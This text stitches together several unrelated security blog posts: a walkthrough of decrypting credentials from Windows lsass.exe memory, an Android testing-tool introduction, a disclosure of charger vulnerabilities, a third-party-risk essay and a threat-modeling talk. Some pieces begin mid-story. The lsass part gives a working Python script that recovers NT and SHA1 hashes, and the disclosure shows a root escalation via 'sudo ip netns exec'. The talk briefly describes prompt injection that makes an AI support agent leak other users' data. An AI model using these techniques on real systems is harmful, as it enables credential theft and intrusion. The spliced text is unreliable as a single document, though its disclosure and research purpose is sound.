The credential buffer we just extracted is encrypted with either AES or 3DES using keys stored by lsasrv.dll in the lsass.exe memory space. 3DES is used in CBC mode with an 8-byte block, so 3DES ciphertext length is always a multiple of 8. AES is used in CFB mode, which is stream-like and does not require padding, so AES ciphertext can be any length. The algorithm check is: if blob_length % 8 == 0, use 3DES with the first 8 bytes of the IV; otherwise use AES-CFB with the full 16-byte IV. Our blob was 0x198 (408) bytes, so 3DES it is.

In fact, this is how Windows does it. The following is a decompiled version of LsaEncryptMemory() from lsasrv.dll (Windows build 19044):

Just like we did with LogonSessionListCount and LogonSessionList, we can use the debug symbols for lsasrv.dll to access InitializationVector, h3DesKey, and hAesKey directly from WinDbg, which point to the data structures storing IV, DES and AES key respectively, used by the Windows Cryptography Next Generation (CNG) API. bcrypt.dll provides the primitive cryptographic functions and data structures, and while there’s documentation publicly available, some of the structures are not; the public headers only forward-declare them as PVOID. The layouts below were taken from mimikatz and confirmed against live memory.

Both h3DesKey and hAesKey symbols point to a BCRYPT_KEY_HANDLE structure, similar to the following one:

typedef struct _BCRYPT_KEY_HANDLE {
    ULONG    size;
    ULONG    tag;         // 'UUUR'
    PVOID    hAlgorithm;
    PBcryptKey key;
    (...)
} BCRYPT_KEY_HANDLE, *PBCRYPT_KEY_HANDLE;

typedef struct _BcryptKey {
    ULONG    size;
    ULONG    tag;         // 'MSSK'
    ULONG    type;
    (...)
    BcryptHardKey hardkey;
} BcryptKey, *PBcryptKey;

BCRYPT_KEY_HANDLE->key is a pointer to a BcryptKey structure; notice how both structures have an unsigned long field (dubbed tag in mimikatz source) which appears to have 4-byte magic identifiers (0x55555552 “UUUR” and 0x4D53534B “MSSK”, respectively).

Finally, BcryptKey->hardkey is a minimal wrapper around the raw key bytes, which live on hardkey.data[]:

typedef struct _BcryptHardKey {
    ULONG cbSecret;   // key length in bytes
    BYTE  data[1];    // key material starts here
} BcryptHardKey, *PBcryptHardKey;

Decryption summary

1. Decide the algorithm: if blob_length % 8 == 0, 3DES-CBC, which uses first 8 bytes of IV, otherwise AES-CFB
2. Resolve InitializationVector, then get BCRYPT_KEY_HANDLE: h3DesKey or hAesKey from lsasrv.dll debug symbols in WinDbg
3. Follow BCRYPT_KEY_HANDLE->key to a BcryptKey struct
4. Follow into BcryptKey->hardkey, then read cbSecret for the key length and grab that many bytes from data[]
5. Feed the IV, key and the encrypted blob we extracted on the previous section to the matching cipher (3DES-CBC or AES-CFB) to decrypt the credential buffer

Parsing

That leaves one more question: where in the decrypted blob do the hashes actually sit? The struct is similar to the following:

typedef struct _MsvPrimaryCredentialWin10_1607 {
    LSA_UNICODE_STRING LogonDomainName;   // +0x00
    LSA_UNICODE_STRING UserName;          // +0x10
    PVOID pNtlmCredIsoInProc;             // +0x20
    BYTE isIso;                           // +0x28
    BYTE isNtOwfPassword;                 // +0x29
    BYTE isLmOwfPassword;                 // +0x2a
    BYTE isShaOwPassword;                 // +0x2b
    BYTE isDPAPIProtected;                // +0x2c
    BYTE align0, align1, align2;          // +0x2d, +0x2e, +0x2f
    DWORD unkD;                           // +0x30
#pragma pack(push, 2)
    WORD  isoSize;                        // +0x34
    BYTE  DPAPIProtected[16];             // +0x36
    DWORD align3;                         // +0x46
#pragma pack(pop)
    BYTE NtOwfPassword[16];               // +0x4a
    BYTE LmOwfPassword[16];               // +0x5a
    BYTE ShaOwPassword[20];               // +0x6a
} MsvPrimaryCredentialWin10_1607, *PMsvPrimaryCredentialWin10_1607;

The #pragma pack(push, 2) on the inner block is why NtOwfPassword lands at +0x4a and not +0x4c. Without it, the compiler inserts 2 bytes of padding before DWORD align3 to satisfy 4-byte alignment, shifting every hash field by 2. The pack directive caps alignment at 2 for that block, which matches the in-memory layout Microsoft actually uses.

The following Python script (requires pip install cryptography) decrypts the credential blob and reads the hashes, referencing the offsets in the struct:

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

key = bytes.fromhex('a7cfe69f193e19cad0c2c5822a2055ba77e1d17ef3bb776a')
iv  = bytes.fromhex('dc469e7338b717b4')  # first 8 bytes of 16-byte IV
ct = bytes.fromhex(
    '6a777c0b3a4b4d2c3d75e5ff90b0a54b4d2569257b8c4a53e4a63e7083f09f92'
    'd2b53e2a4297a3a0420c7661e90bb6d55a157c336e98bd73b241e52bc12048df1'
    '63ed779da17fe7018c9bcb464f1e5d700b24654df0af3c6798dfa26afec31157f'
    '590932bc0593452d0cdb8336ca1282d8050b998135183ca2998ed9630e9573c86'
    '9d3c9e81c1581e2d95af94ccc5a62762eaaa08fe84cf192e0bfbe30f00c2f369e'
    'd9fb9cc60bcb69fa0fb43d4d6a1e711ecfc4f41a80f73f6eec36d9adf24e6794b'
    '241c834bf4a9d683a2bd40f1cbd1fa1c000366bb6523d5813b0fd2ccc18eba385'
    '1207106feeaa8d1bb88147ca1f80025c8c319c23c7379680d843c3bcc492bcec8'
    '3d61cca40db39ff7f752f347f3915021447ef5ba70a1b3d32d073f50dd11820f9'
    '2de3ff7d74ce39c6c19dedde32d5b0bfa61054d1e89b66ecb44b4d0ca4bd9cf9b'
    'e5b4936aeee09994b0d6636ecf3d7ec35492d48a668c147cd78a2d5edee49f6b3'
    '7d24583fc634e475872c628306f73c5bacf1bd68b8541561288dbfdf86ce1fa91'
    '799d7783bae106af414b247c1bfc0acc036fe'
)

print(f'Credential blob (encrypted): {len(ct)} bytes')

cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
dec = cipher.decryptor()
pt = dec.update(ct) + dec.finalize()

print(f'plaintext:  {len(pt)} bytes')

print()
print(f'isIso:       0x{pt[0x28]:02x}')
print(f'isNtOwfPw:   0x{pt[0x29]:02x}')
print(f'isLmOwfPw:   0x{pt[0x2a]:02x}')
print(f'isShaOwPw:   0x{pt[0x2b]:02x}')
print()

nt  = pt[0x4a:0x4a+16]
lm  = pt[0x5a:0x5a+16]
sha = pt[0x6a:0x6a+20]

print(f'NT  hash:  {nt.hex()}')
print(f'LM  hash:  {lm.hex()}')
print(f'SHA1:      {sha.hex()}')

$ python msv_test.py
Credential blob (encrypted): 408 bytes
plaintext:  408 bytes

isIso:       0x00
isNtOwfPw:   0x01
isLmOwfPw:   0x00
isShaOwPw:   0x01

NT  hash:  ead0cc57ddaae50d876b7dd6386fa9c7
LM  hash:  00000000000000000000000000000000
SHA1:      452e3a8dce23b0c736479f44a2e8d3c2b1f5efec

That covers MSV; we found the session structures from public symbols and open source well-known tooling, walked its linked lists to the encrypted credential blob, extracted the decryption key out of the memory and parsed the resulting plaintext. Part II does the same walkthrough for Kerberos, which has more moving parts and requires a bit more work.

About 6 years ago I was tasked with answering a question: how can we perform in depth testing of Android devices quickly and without root access? That question resulted, over multiple iterations and a few complete rewrites, in the creation of dtu, our Android device testing utility. I’m really happy to finally be releasing this tool to the public, because I think it fills a major gap in the available open source tooling for testing Android devices and makes it straightforward for anyone to get set up to test any device, hopefully increasing the security of the Android operating system in the process. This is also not just a code dump, since I’ve been actively maintaining this tool in some form for over 6 years now. Using this tool we have found and disclosed multiple critical vulnerabilities in Android devices, and I’d like to explain how it was developed and how it works.

High level

dtu is a tool (and Rust crate) to help understand and test the Java based attack surface on an Android device. This means that it helps test system services implemented in Java and exported IPC interfaces in high privileged APKs. Of note, there are no tools currently in dtu for testing native code. This decision was made for two reasons: (1) we were required to work without rooted devices and SELinux generally prevents access to native system service implementations and (2) Java bytecode is simply easier to analyze and work with. I think it’s important to point out this limitation early in this introduction, because these considerations drove all design decisions. There are other methods that can be employed for working with native code, and dtu is hopefully just another tool in a tester’s arsenal. dtu is also not going to solve your problems for you: it’s going to provide you with tools to be more efficient and a framework to build automation on top of, but there is very little automation directly in the tool. Expect to still be reverse engineering Java code as either smali or decompiled Java, and expect to still have to do a fair amount of thinking.

With all of that in mind, what dtu does is:

1. Identify the source of Java code running on the device. Think jar, apk, and apex files
2. Convert all of that code to smali
3. Perform some static analysis on the smali and create a graph database of inheritance and method calls
4. Assist the tester in quickly identifying, and testing, interesting classes or methods

I’m going to walk through a typical test using dtu to give a feel for how to use it.

Testing setup

You’ll see a tl;dr in the dtu README with the following:

dtu pull
dtu graph full-setup
dtu db setup

These are commands that you’ll run for every device you test, and you’re going to want to take a nap while they run, because a lot is happening in these 3 commands. The first, dtu pull, attempts to identify and pull all files that may have Java code running on the device. It uses a few heuristics to do this, and we’re constantly updating this process as we learn more and Android evolves, but it generally gets enough to do some interesting testing. Behind the scenes this is just using tools like:

• adb - Used to run shell commands on the device and pull files
• apktool - Used for converting APK files to smali
• baksmali - Used for converting dex files to smali
• vdexExtractor - Not used for later versions of Android, but can find code in vdex files on older versions

Everything that is pulled is decompiled and placed into a dtu_out/smali directory. Files that are part of the framework are stored separately from individual APK files.

Once all of this data is gathered, dtu graph full-setup makes use of smalisa to parse all of the smali files and create an inheritance and call graph to store in a Cozo database. This graph is used throughout dtu to get answers to questions like “Which classes implement foobar.Interface, the interface for the foobar system service?” or “which functions, within 3 hops, call java.lang.Runtime.exec(...)?” and any number of other interesting things you can ask a call graph. You can directly interact with this Cozo database with dtu graph repl or send one off queries to dtu graph eval. There are some canned queries available at dtu graph canned.

After the Cozo database is set up, we next populate an sqlite database with dtu db setup. Some examples of data stored in this database are:

• The output of getprop
• All permissions that can be automatically discovered
• All BroadcastReceivers, Services, ContentProviders, and Activitys in the pulled APKs and framework
• All system services and their Java implementations if they exist
• Whether the implementations of methods match the implementations on a chosen comparison (more on this later)

You can check the contents of the database yourself over in dtu_out/sqlite/device.db.

At this point you’re ready to start testing the device! Note that this whole process pulls and stores a ton of data: sorry about your hard drive space. Expect about 15-20GB for a device.

Diffing

In the previous section I alluded to the ability to compare devices, and this is a core feature of dtu that I highly recommend taking advantage of. We generally create a dtu device.db file for an Android emulator at every API level we’re interested in and use this as the base against which we should compare a device. In fact, this is expected, if you don’t want the diff to occur, you have to run dtu db setup --no-diff. Diffing helps cut down on noise and helps focus your testing on features that aren’t part of AOSP: we all know Google doesn’t write buggy code, so we want to find code specific to our device. You can diff against arbitrary devices too! For example, say you are testing the Pixel 9, and last year you tested the Pixel 8. Well, you determined that the Pixel 8 was perfect and has no bugs, so you want to find only things that are different in the Pixel 9. Add that Pixel 8’s device.db as a diff, dtu db diff-source add ..., and fire up the diff TUI dtu diff ui -S pixel8 to focus on the new features!

Diffing is a lot deeper than you may first expect. While at one level the diff just says “this exists only in the device under test” it also has the capability to say “this exists in both devices, but it looks different”. This is done for all system service methods that are discovered by walking through all of the smali for each method and trying to determine if they have the exact same code or not. While this is not perfect and can be a bit brittle, it has proven really helpful, and anything to help focus testing of such a huge attack surface is a plus.

Test application

dtu app setup and dtu app install will create and install a testing application. This application is used by various dtu commands to interact with the device as a “low privileged” application, and while not required, it is recommended to use and install it. The communication with the application happens via a TCP server that is accessible via an adb forwarded port. The test application provides some helpful tools to write and execute tests. Check out dtu app in general for the test application; I’m not going to talk about it much here. Commands that require the server up and running will generally error out and let you know that it should be installed.

Active testing

Now that you have all this data, you probably want to do something other than fill up your hard drive. For me, testing normally begins at dtu diff ui, and this should keep you busy for a while. I typically head straight to the Providers section first, because there is sometimes some funny business happening in ContentProviders and I like to check them out. My work flow here is typically to find one with an “interesting name”, navigate over to it, and hit O to open it up in vim, where I have a custom plugin that I use to automatically convert the file to Java with jadx. This is a kind of “hook” system provided by dtu if the dtu-open-file binary exists in your $PATH or $DTU_OPEN_EXECUTABLE is set. Then I’ll look through the implementation and if I see something potentially interesting, I’ll hit c to invoke the dtu-clipboard hook and copy a template dtu provider -a AUTHORITY ... call to my clipboard and paste it in a shell to try to interact with the ContentProvider via the dtu test application. If I don’t want to revisit the ContentProvider again, I’ll just hit h and hide it so I don’t have to see it anymore. This workflow is fast: I can do a high level test of every discovered ContentProvider on the device within a couple hours without ever writing a line of Kotlin code. This testing strategy gets results too: I’ve found dozens of ways to completely take over a device from an unprivileged application with dtu and even ended up rooting some devices!

dtu supports a ton more functionality than just the diff UI though. You can run canned queries against the graph with dtu graph canned to look for some standard suspicious behavior; you can check if a given permission you see is dangerous or not; you can list all system services and the classes that implement them; you can pull and compile the SELinux policy for analysis with apol, and much more. dtu can also work based on file system dumps instead of a live device. This is really useful when you are able to dump the flash memory of an Android based device for example. dtu has been evolving for years now and I’ve added a ton of functionality, but there is also so much more potential for this tool. On top of all of that, dtu is a Rust crate exposing all of its internals. I’m excited for this next step in dtus development where the public at large gets to contribute to and use it!

Once we found this we worked with Phoenix Contact to disclose the issues. This resulted in the allocation of 5 CVEs - 3 of which were rated with a score of 7.8 or higher (HIGH impact). In this blog, we’ll tell the story of how we came to find these issues.

Not interested in the blog? Just want exploit details? Get those details here:

• ivision report sent to Phoenix Contact
• Phoenix Contact Advisory
• CVE Details
  • Denial of Service via invalid topology topic: CVE-2025-24002
  • Out of bounds write into .bss: CVE-2025-24003
  • Insecure sprintf enabled stack buffer overflow: CVE-2025-24004
  • Local privilege escalation to root: CVE-2025-24005, CVE-2025-24006
• Proof Of Concepts and Artifacts

Project Goal

At ivision we help companies secure their products (software and hardware), but for this project we made it our goal to obtain unauthenticated code execution as root on the device.

We had only one requirement: It had to be in a feature, configuration, or setting likely to be used in a production environment. Root via a default password didn’t count. It had to be something more exciting.

Getting Started

With any kind of security research project, the first task is to read the manual and get acquainted with the target. Let’s talk about the CHARX SEC-3150. This device is a part of Phoenix Contact’s Electric Vehicle Modular Charging Lineup. It enables enterprise grade Electric Vehicle to be designed and created in a modular line up. In this modular environment the CHARX SEC-3150 was the brains.

You’ll notice that there’s a lot of different pieces of equipment. For our purposes we’re really only interested in the CHARX SEC-3510 and the accompanying display (more about this later).

In terms of exposed ports and available physical attack interfaces, the CHARX SEC-3510 contains:

1. A single USB-C (or USB-micro) port which is used to attach peripherals.
2. Two Ethernet ports one for a WAN connection and another for a LAN connection. The LAN port is intended to allow multiple CHARX SEC-3150’s to be chained together for larger deployments.

On the software side, the CHARX SEC-3150 was running an embedded Linux distribution on an ARM32 CPU. During our testing period, we focused on version 1.6.4 of the CHARX-SEC 3150, which by default exposed:

1. The main web interface which used a default password
2. MQTT Server on the LAN interface

First Root Shell

Developing exploits for a piece of equipment is always significantly easier when you have a working development environment. The nice thing about embedded systems and product security is that the equipment is its own development environment. You just have to build it. So the first step, was figuring a way to get a root shell. How we did it did not matter, just that we did.

This turned out to be trivial. SSH could be enabled in the settings. Once authenticated and logged in we were given access to system as a low privileged user (user-app). Our first goal - escalate. We used CHARX-FINDING-005 and CHARX-FINDING-004 (CVE-2025-24006, CVE-2025-24005) to do this. By reviewing the sudoers file, we found the following:

user-app ALL=(ALL) NOPASSWD: /sbin/ip

This was a lucky moment, the ip command has a neat feature which allows users create, and delete network namespaces, and then execute commands within them. So by calling the following sequences of commands, we were able to enter a namespace with root permissions:

ssh user-app@192.168.1.61
Last login: Thu Jul 18 09:28:59 2024 from 192.168.1.1
ev3000:~$ id
uid=2005(user-app) gid=2000(user-app) groups=2000(user-app)
ev3000:~$ sudo ip netns add ivision
ev3000:~$ sudo ip netns exec ivision /bin/sh
ev3000:/home/user-app# id
uid=0(root) gid=0(root) groups=0(root)

Once we had our initial root privileges, it was trivial to create our own development environment. We changed the root password and enabled root logins via SSH. Then we copied over various debug binaries and setup GDB for remote access.

Focusing on unauthenticated exploits

With our initial root access obtained, it was time to start focusing on our goal: Unauthenticated code execution as root. With our goal in mind, we started by ruling out obviously authenticated paths such as the web interface. SSH was also out of the question. However, the MQTT interface piqued our interest.

The MQTT interface lacked authentication allowing all LAN based users to interact with it. MQTT as a protocol is an interesting attack path. MQTT operates on “topics” with a publish and subscribe model, so if an attacker is able to publish content, anyone subscribed to the topic would receive and take action on the received message.

With MQTT selected as our entry point, we just need to figure out which services subscribe to which MQTT topics. We can figure this out by leveraging our makeshift development environment and enabling verbose MQTT logs.

To save everyone some time, we ended up finding that the CharxEichrechtAgent service subscribed to various MQTT topics and in certain conditions was enabled by default. Specifically, CharxEichrechtAgent was enabled by default in German deployments. This topic provides support for the German Calibration Law:

The German calibration law, commonly known as “Eichrecht”, applies to all measuring devices, including electricity meters on EV charging stations. ¹

Exploring the CharxEichrechtAgent

When exploring the CharxEichrechtAgent, we noticed that it subscribed to a significant number of MQTT topics and setup a callback function for each subscribed topic. Now we needed to figure out the MQTT topic message protocol being used. Again our makeshift development environment let us setup logging and we could see that JSON messages were being used. From here we setup a some fuzz tests and begin reversing each of the callbacks. Before we knew it we had another CVE. The CharxEichrechtAgent failed to properly handle the following JSON message:

{"data":{}}

The result? The entire process crashed. It would render devices inoperable for a few second before the system watchdog rebooted the process. As we’ll see later on, this ended up being a very useful thing. The crashing behavior could probably also be weaponized into a denial of service, rendering the Electric Vehicle Chargers in a location inoperable, but we didn’t test that (CHARX-FINDING-001, CVE-2025-24002).

Our manual reverse engineering of each topic’s callbacks resulted in us finding an out-of-bounds write (CHARX-FINDING-002, CVE-2025-24003). Specifically, the eichrecht_status topic failed to limit the size of the status field when reading it from a JSON message. This status field was then copied to static global variable as shown in:

void eichrecht_status_callback(void* topic_json_data, int controller_index){

...

dest = (char *)(&charge_controller_information + controller_index * 0x4e5); 
...
status_json_field = (char *)extract_json_field(&topic_json_data,"status");

status_length = strlen(status_json_field);
memcpy(dest,status_field,status_length);

Due to the lack of bounds checking, we could overwrite past the static variable’s bounds. Through testing we found that we could write up to 0x78C bytes into memory. This was a significant step towards our goal of unauthenticated code execution.

From write to execute

Ghidra is great! Through cross referencing the memory address we could now overwrite, we were able to find various functions making use of the our controllable data. We eventually found one interesting function which used a format string to fill a stack buffer with data we controlled (CHARX-FINDING-003,CVE-2025-24004):

memset(buffer,0x0,0x800);
if (charge_controller_count < 0xd) {
switch((int)charge_controller_count) {
case 0x2:
  <REMOVED FOR BREVITY>
  sprintf(buffer,"{\"TT\":\"StatusCS\",\"Sx\":[\"%s\",\"%s\"],\"Ax\":[\"%s\",\"%s\"]}",puVar3,
          puVar2,&DAT_004e706e,&overflowed_bss);

The function filled buffer of size 0x800 with our string, which contained 0x78C bytes. Fortunately for us, multiple instances of controlled string were read, resulting in well over 0x800 bytes being copied into the buffer. Leading to a buffer overflow!

How to call the function

So we’ve smashed the stack! That’s a win right? Well… no. We’ve found a vulnerable function, but actually calling the function is tricky. It’s not callable over MQTT. It’s only called by the USB-C connected display. This meant we needed to figure out how to impersonate the display. A review of the system’s udev rules told us that:

1. The system was waiting for a USB device with the idVendor 0x0483
2. Once detected - an ACM (SERIAL) connection was created for the CharxEichrechtAgent to use to communicate with the display.

So if we wanted to trigger our vulnerable function, we would need to create custom USB device with the idVendor set to 0x0483 and support for serial. We’ve created similar custom USB devices in the past using a rooted android device (checkout out Command Injection With USB Peripherals), but for this project we used gadget mode on a RPI. It’s fairly easy on a RPI, we just:

1. Loaded the g_serial kernel module, which created a new serial interface
2. Created a python service to read and write from the serial interface

When connected to the CHARX SEC-3150, the CHARX SEC-3150 would assume our RPI was a display and start sending data to it over serial. By responding correctly to the CHARX SEC-3150’s serial messages we were able to put the device into a state that triggered the vulnerable function.

Time for an exploit

We could smash the stack, we could trigger the smash, but we weren’t ready for an exploit. The problem - ASLR and PIE. The binary was hardened and we didn’t have a memory leak that we could use. This would typically kill our dreams of exploitation. However, we had a bit of luck on our side. ASLR is meant to make it impossible to guess the memory offset of usable functions in a binary. However, we were trying to exploit an ARM32 device. ARM32 only has 8 bits of entropy. Meaning there’s only 256 different possible memory offsets.

256 is rather small and can be searched in a realistic amount of time, especially if we if we can control the process’ life time – remember we found a way to cause a crash? We had all that was needed to brute force the ASLR memory offset and make our dreams a reality.

With this we had everything we needed.

1. We wrote our MQTT exploitation code and loaded it up on an RPI 4.
2. We also wrote our spoofed display code and load it up on an RPI 2 W.
3. Setup the RPI4 and RPI 2 W appropriately and waited.

~12 hours later we had a root shell!

Want to try it for yourself - see exploit code and the report we sent to Phoenix Contact here:

• ivision report sent to Phoenix Contact
• Proof Of Concepts and Artifacts

Discourse Timeline

• 2025-01-16 - Disclosed to Phoenix Contact
• 2025-01-16 - Phoenix Contact Confirmed Receipt
• 2025-01-16 - Phoenix Contact Notifies CERT@VDE
• 2025-07-08 - Phoenix Contact Publishes Advisory
• 2025-09-23 - ivision publishes blog

CVE assignments:

• Denial of Service via invalid topology topic: CVE-2025-24002
• Out of bounds write into .bss: CVE-2025-24003
• Insecure sprintf enabled stack buffer overflow: CVE-2025-24004
• Local privilege escalation to root: CVE-2025-24005, CVE-2025-24006

The manifestations of third-party risks extend beyond the digital realm. History offers important and significant examples of supply chain compromises affecting the physical world. The Great Seal bug, planted in the US embassy in Moscow in 1945, demonstrated how adversaries could compromise physical objects to achieve intelligence objectives. More recently, we’ve witnessed explosive components targeting drone operator equipment in the Russo-Ukrainian conflict, and the 2024 Lebanon electronic device attacks. These three attacks were all used in physical world conflicts to give the attacking side a significant advantage.

The software realm presents equally compelling examples. The CodeCov breach in 2021 exemplified how a single compromised development tool could provide attackers with unprecedented access to customer environments. SolarWinds became synonymous with supply chain attacks, demonstrating how trusted software updates could become vectors for nation-state espionage. Even seemingly mundane components can harbor threats — we’ve seen legitimate software packages compromised with cryptocurrency miners, turning enterprise infrastructure into unwitting participants in mining operations.

But third-party risks aren’t limited to compromised code or hardware. Vendor relationships themselves create attack surfaces. Managed service providers and law firms - with all the data and information that they normally handle for their customers - have become attractive pivot points for adversaries seeking access to their ultimate targets. When a vendor falls victim to compromise, every organization in their ecosystem becomes potentially exposed. This interconnectedness means that an organization’s security posture is only as strong as its weakest vendor relationship.

The actors behind these campaigns are frequently nation-states with substantial resources and patience. They understand that targeting a single vendor can yield access to dozens or hundreds of “downstream” victims. It’s an efficient approach that leverages the trust relationships inherent in business partnerships.

What enables these attacks to succeed? Often, it’s the absence of formal vendor management processes and comprehensive risk assessments. The phenomenon of “shadow IT” compounds this challenge — as organizations embrace agility and decentralized decision-making, individual teams may engage with vendors without central oversight. Software development teams face similar challenges when dependency tracking falls short, creating blind spots in the supply chain.

However, organizations aren’t powerless against these threats. Effective threat modeling forms the foundation of third-party risk management — understanding what data you cannot afford to lose helps prioritize vendor relationships and security controls. Formal risk management processes, supported by comprehensive risk registers, provide visibility into the vendor ecosystem and enable informed decision-making.

For software-centric organizations, maintaining visibility into build pipelines and dependency chains becomes critical. Vendor management processes should include security-focused onboarding procedures. Even organizations without resources for formal risk assessments can establish baseline security expectations and require vendors to demonstrate their security posture.

The principle of least privilege applies not just to internal systems but to vendor relationships as well. Limiting vendor access to only what’s necessary for their function reduces potential exposure. Some organizations are also exploring how threat intelligence can provide early warning of vendor compromises, though this approach requires maturity in both consumption of intelligence and incident response.

Third-party risks represent one of the most challenging aspects of modern cybersecurity precisely because they exist at the intersection of trust, business necessity, and technological complexity. While we cannot eliminate these risks entirely, acknowledging their pervasive nature across people, process, and technology domains that extends well beyond organizational boundaries is the first step toward managing them effectively.

This presentation was delivered at the ivision Security Symposium 2025. This post is based on a transcript of that presentation, and has been edited for clarity.

My name is Roman Faynberg, and I am a consultant in the ivision security assessment practice. I have been breaking things, and breaking into things, since around 2007.

As I begin my presentation today, I have a quick question…

What can go wrong here? There are many things I could point out, but they’re pretty obvious.

Another question: what can go wrong here?

In 2017 bad actors used a fish tank to breach a casino. They didn’t target the vault or the slot machines. They targeted a smart thermometer in that fish tank, compromised it, and exfiltrated gigabytes of data. The device was configured with a VPN to call outside, and they siphoned the data out to Finland. The question I’d like to pose is: how could the casino have seen it coming? What could they have thought about? Threat modeling is really about imagining how bad things could happen before they happen.

How would you design a bank knowing there will be a heist? Would you place an entrance door right next to the vault? Would you give a spare copy of the keys to everyone on the team, including the cleaning staff? Probably not. These are the kinds of questions you need to ask when you know bad things can happen.

Threat modeling is the art of finding as many answers as possible to the questions what can go wrong and what can we do about it? Remember that threat modeling is different from searching for vulnerabilities. A vulnerability is just one way to realize a threat, but the threat exists regardless.

Why is threat modeling important, and why is it more important now than before? Systems have been getting increasingly complex; that is the nature of technological progress. As complexity rises, the attack surface grows. There are many more ways for adversaries to reach our systems because everything is connected. Smart devices are everywhere. IIoT gadgets, maybe even a slightly angry smart iron, all talk to the internet. These devices might be on your network already.

We also have large language models and other forms of artificial intelligence that we use more and more. Customer service agents are often implemented with LLMs these days. What could go wrong with those?

Not only is the attack surface growing, but the barrier to entry for attackers keeps dropping. AI can write very convincing phishing emails. As we’ve seen in recent security assessments, AI now produces excellent phishing content, and that is exactly what we are seeing. In five to fifteen minutes I can spin up a completely fake company, with fabricated executive biographies and team stories, ready to use in a phishing exercise aimed at infiltrating an organization. It is very easy to do.

The barrier to entry for attackers is getting lower, which means it is easier and cheaper to design securely from the start rather than fix things later. Threat modeling helps you understand a complex system better, formalizes that understanding, and encourages you to think like an attacker. Thinking like an attacker leads to a more secure design.

Is threat modeling free of challenges? No. Sometimes it is perceived as low-utility. Some people call it a tedious exercise: why spend hours discussing what might happen? Did you find or fix a vulnerability? No. So what did you do? That question misses the point. The goal is to find what can go wrong so you can plan to address it later.

Another issue is keeping the threat model up to date. It is only as useful as it is current. Technology, features, systems, infrastructure, and applications all change, and the associated threats change with them. The model must be a living document; it loses value when abandoned.

Often threat modeling is shunned because of its perceived low value, and that is unfortunate. In this presentation I hope to show exactly how it can be useful and how it can be applied in real-world scenarios to make whatever you are building more secure.

There are many different ways to approach threat modeling. There are a lot of frameworks, and they are organized to help you think about a few key questions: what are you trying to protect, who are you trying to protect it against, and what attack vectors could be used to reach those assets.

You do not need to memorize any of these frameworks, but one long-standing example is Microsoft’s STRIDE model. It has been around since the 1990s and remains relevant because, instead of focusing on specific vulnerabilities, it emphasizes core concepts. STRIDE is really the cornerstone of threat modeling and offers a structured way to think about threats.

I wanted to pick a food delivery app, so I grabbed a screenshot of DoorDash. It’s a very prominent app, so it was a logical example. Disclaimer: we’re not looking for or discussing specific vulnerabilities. This is about potential threats in a typical food-delivery application like DoorDash.

You place an order through the mobile app. The mobile app talks to the cloud. Something magical happens in the cloud: the system contacts the restaurant, the restaurant prepares the food, the food is handed to the driver, and the driver hands it to you.

What threats can we identify? This is where STRIDE comes in. STRIDE is an acronym: S is for spoofing. Spoofing means pretending to be someone you’re not.

So what if someone pretends to be someone they’re not, decides to pose as a delivery driver, and somehow gets close to your home, for example? That’s a threat.

From an infrastructure perspective, what if spoofing happens through a flaw in the identity provider you are using? That might be another threat. Maybe that flaw lets an attacker create and sign identities with signatures that haven’t been authorized, yet your system still trusts them. That is another spoofing flaw.

Thinking about what can happen here is part of the threat model.

T stands for tampering. In this simple example, an attacker manages to redirect the order so that one person places it, but the delivery goes to someone else. The original person still pays.

R is for repudiation. Repudiation is disassociating yourself from any particular action. In the context of this system, we could say that if I place an order, get the food, and then claim I never received it so I don’t want to pay, I might fool the system into believing me. That could cause a loss of revenue, making it a potential issue. This is a repudiation threat - being able to avoid responsibility for an action or a ledger entry.

I stands for information disclosure. There are several ways information can be exposed: through an application flaw or an infrastructure flaw. Payment data can be leaked, and that is a threat. An attacker might even download personal details in bulk from your system.

We already covered LLMs and AI. Imagine the system includes a customer-service support agent that helps with orders. If I interact with this AI agent and launch a prompt-injection attack, I could make it return information belonging to another user. Doing that in bulk could cause a major data leak.

From an infrastructure perspective, think of a cloud deployment. Unsecured storage buckets that hold transaction data are another threat. If you fail to secure them, you are exposed. Walking through scenarios like these helps you recognize information disclosure threats.

D is for Denial of service. Denial of service is the ability of an attacker to make it so that no one can place orders or interact with the system.

There are different ways to think about threats associated with denial of service.

First, there is always the possibility of a DDoS, a distributed denial of service attack. You can protect against it with load balancing and related techniques.

But there are other threats. Sometimes an attacker can crash the system cheaply by exploiting a bug in the infrastructure. This can be more dangerous because it does not require an army of bots.

Finally, E stands for elevation of privilege. Here we consider an attacker getting into administrative functionality. What if someone becomes a cloud administrator? How could that happen? Think through every possibility as part of threat modeling:

• gaining admin access through a phishing email
• leaked cloud credentials
• source code that contains credentials
• a misconfigured cloud deployment that exposes an interface on the internet

From the infrastructure side, many companies deploy web application firewalls. These systems often redirect traffic to themselves, inspect it, then forward it to your APIs or web servers. This setup assumes the attacker is always routed through the provider’s system. However, if you forget to lock down the IP filters, an attacker can bypass the firewall and hit your APIs directly. That misconfiguration is another scenario that can lead to an elevation of privilege.

So this is all good and great, but the question now becomes: what is the tangible output of a threat model?

Ideally, the output is literally a list of things that can happen, along with information about whether each risk is mitigated. You also gain valuable visibility into how the system operates, which is especially important for security teams. You can build an architecture diagram, map data flows, and understand system inputs and outputs.

Through this process you understand the risks in the system and how those risks are or are not mitigated. Unmitigated risks, especially critical ones, should bubble up to a risk register. I highly recommend keeping that register as a visible document in the organization because it is a perfect place to track key threats associated with any system, organization, or application.

Now, who should be doing threat modeling? Is threat modeling only for security people? No, it is not. Threat modeling is for anyone who is building anything: architects, engineers, and business product owners. Anyone working with a system knows the product inside and out. The best abuse cases I have seen have come from product owners and business folks; they understand how the product will be used and how it can be misused. You do not need to know every answer about how an attack might occur, but it is already valuable if you simply ask the right questions.

Threat modeling prevents critical bugs. In one case study, we worked with a team of engineers building an e-commerce product. During the threat-modeling sessions we discovered a design flaw that relied on static unique identifiers for authorization. We demonstrated how an attacker could enumerate those identifiers; if they leaked, the system would be only a step away from a major breach. Because we identified the issue early, the team fixed the design before it reached production, and the critical bug was avoided.

We built a threat model for a large AWS deployment meant to support predictive agriculture. The project involved sensitive and expensive assets: the computational model, its intellectual property, and related agricultural data.

We created a full formal threat model, produced diagrams, and mapped how everything worked. This process revealed an infrastructure bottleneck in the computational system that could have let attackers cause an inexpensive denial-of-service against customers.

Because we discovered the issue before the service went live, the client could fix it in advance. Threat modeling let the security team focus their limited resources where they mattered most.

One very recent example came when a customer asked us to test an application running on an air-gapped appliance. That seemed unusual, so I suggested an informal threat model to discuss everything they were worried could go wrong.

